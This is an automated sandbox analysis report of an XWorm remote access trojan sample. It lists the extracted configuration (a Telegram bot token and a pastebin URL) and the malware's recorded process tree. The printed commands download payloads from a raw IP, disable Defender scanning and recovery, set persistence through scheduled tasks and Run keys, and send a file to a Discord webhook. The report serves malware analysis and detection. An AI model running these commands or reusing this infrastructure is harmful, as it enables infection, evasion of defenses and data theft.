Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    17/06/2024, 18:56

General

  • Target
    payload.exe
  • Size 96KB
  • Sample240617-xld4yazena
  • SHA256 708487b9e04bf6ad58b62274745df1942a5db2ae068e5d7c2c482473e70db4c5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    winlogon.exe

  • pastebin_url

    https://pastebin.com/raw/kTrgfRNT

  • telegram

    https://api.telegram.org/bot6820329388:AAG0ljIyZ1Cj86n9cgzLGNBMldBe9TtqhAM/sendMessage?chat_id=1330099235

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables cmd.exe use via registry modification 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\payload.exe
    "C:\Users\Admin\AppData\Local\Temp\payload.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1400
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\79C4.tmp\79C5.tmp\79C6.bat C:\Users\Admin\AppData\Local\Temp\payload.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:132
      • C:\Windows\system32\PING.EXE
        ping 8.8.8.8 -n 1
        3⤵
        • Runs ping.exe
        PID:3480
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3672
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:2480
        • C:\Windows\system32\curl.exe
          curl -s -o u32y.bat https://rentry.co/i7zgdqy6/raw/
          3⤵
            PID:1352
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f
            3⤵
              PID:3412
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
              3⤵
                PID:3840
              • C:\Windows\system32\reg.exe
                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanelNamespace" /t REG_DWORD /d 1 /f
                3⤵
                  PID:3984
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
                  3⤵
                  • Disables cmd.exe use via registry modification
                  PID:4936
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -Command "Disable-ComputerRestore -Drive 'C:'; Enable-ComputerRestore -Drive 'C:'"
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4284
                • C:\Windows\system32\ReAgentc.exe
                  reagentc.exe /disable
                  3⤵
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  PID:3420
                • C:\Windows\system32\attrib.exe
                  attrib +h ssh
                  3⤵
                  • Drops file in Windows directory
                  • Views/modifies file attributes
                  PID:2244
                • C:\Windows\system32\curl.exe
                  curl -s -o C:\Users\Admin\AppData\Local\Temp\lsass.exe "http://185.254.97.190:2024/download/ey341.exe"
                  3⤵
                    PID:3756
                  • C:\Windows\appcompat\ssh\lsass.exe
                    lsass.exe
                    3⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of SetWindowsHookEx
                    • Suspicious use of WriteProcessMemory
                    PID:2128
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\appcompat\ssh\lsass.exe'
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3652
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'lsass.exe'
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3564
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\winlogon.exe'
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2680
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winlogon.exe'
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3588
                    • C:\Windows\System32\schtasks.exe
                      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winlogon" /tr "C:\ProgramData\winlogon.exe"
                      4⤵
                      • Creates scheduled task(s)
                      PID:2484
                  • C:\Windows\system32\reg.exe
                    REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "windows-app" /t REG_SZ /d "lsass.exe" /f
                    3⤵
                    • Adds Run key to start application
                    • Modifies registry key
                    PID:2136
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /F
                    3⤵
                    • Creates scheduled task(s)
                    PID:3132
                  • C:\Windows\system32\schtasks.exe
                    schtasks /create /tn "winlogon" /tr "lsass.exe" /sc ONSTART /ru SYSTEM /f
                    3⤵
                    • Creates scheduled task(s)
                    PID:5060
                  • C:\Windows\system32\net.exe
                    net session
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1372
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 session
                      4⤵
                        PID:3660
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
                      3⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2584
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'F:\'"
                      3⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2740
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
                      3⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2524
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
                      3⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1056
                    • C:\Windows\system32\icacls.exe
                      icacls "C:\Windows\appcompat\ssh" /deny Admin:F
                      3⤵
                      • Modifies file permissions
                      PID:3836
                    • C:\Windows\system32\curl.exe
                      curl -k -F "payload_json={\"content\": \"C:\Users\Admin\AppData\Local\Temp\taskmanagerhost.txt\"}" -F "file1=@" https://discord.com/api/webhooks/1250547150736068690/-gttmaQcMietTijL6UhKyva-ZAGtweU94mz5Gbvqh-5hX-obb2jhF4XaR5ohqR9gRrim
                      3⤵
                        PID:392
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3708
                  • C:\ProgramData\winlogon.exe
                    C:\ProgramData\winlogon.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2556
                  • C:\ProgramData\winlogon.exe
                    C:\ProgramData\winlogon.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4008

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        powershell.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                        • Size 2KB
                        • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
                        • MD5 SHA1 SHA512

                        winlogon.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\winlogon.exe.log
                        • Size 654B
                        • SHA256 e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 944B
                        • SHA256 3d51900ed720bd3f98cfc27c5a268eaa93b2ae4a40202fcc8240e26d1a3eac8f
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 944B
                        • SHA256 ee20a5b38a6674366efda276dbbf0b43eb54efd282acfc1033042f6b53a80d4d
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 64B
                        • SHA256 9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 944B
                        • SHA256 e97f54e5237ffeca4c9a6454f73690b98ac33e03c201f9f7e465394ecbc3ea38
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 944B
                        • SHA256 4994013dabe4f131d401879278eee147add6349124ea6452358dca7e2344c7a6
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 944B
                        • SHA256 3f67e4ba795fd89d33e9a1fe7547e297a82ae50b8f25eedc2b33a27866b28888
                        • MD5 SHA1 SHA512

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 944B
                        • SHA256 7e510fc9344ef239ab1ab650dc95bb25fd44e2efba8b8246a3ac17880ee8b69e
                        • MD5 SHA1 SHA512

                        79C6.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\79C4.tmp\79C5.tmp\79C6.bat
                        • Size 7KB
                        • SHA256 f2eb8ff138756e0c0d83d2d43b73afe720ed874317e8209135abfcd86a891099
                        • MD5 SHA1 SHA512 SSDEEP

                        __PSScriptPolicyTest_0pvhqc5e.ul3.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0pvhqc5e.ul3.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512

                        lsass.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\lsass.exe
                        • Size 64KB
                        • SHA256 de4d28dd8c9208fe86dec1e014913f3cfefdcadf73a7adb6eb062677f5f5772f
                        • MD5 SHA1 SHA512 SSDEEP

                        u32y.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\u32y.bat
                        • Size 168B
                        • SHA256 3325291808e23914cef7f3b5c34924070b561abaa3adf68b6f91d18d5f234cb0
                        • MD5 SHA1 SHA512

                        memory/2128-28-0x0000000000560000-0x0000000000576000-memory.dmp

                        memory/2128-113-0x000000001E030000-0x000000001E03C000-memory.dmp

                        memory/4284-7-0x000001D4AD0C0000-0x000001D4AD0E2000-memory.dmp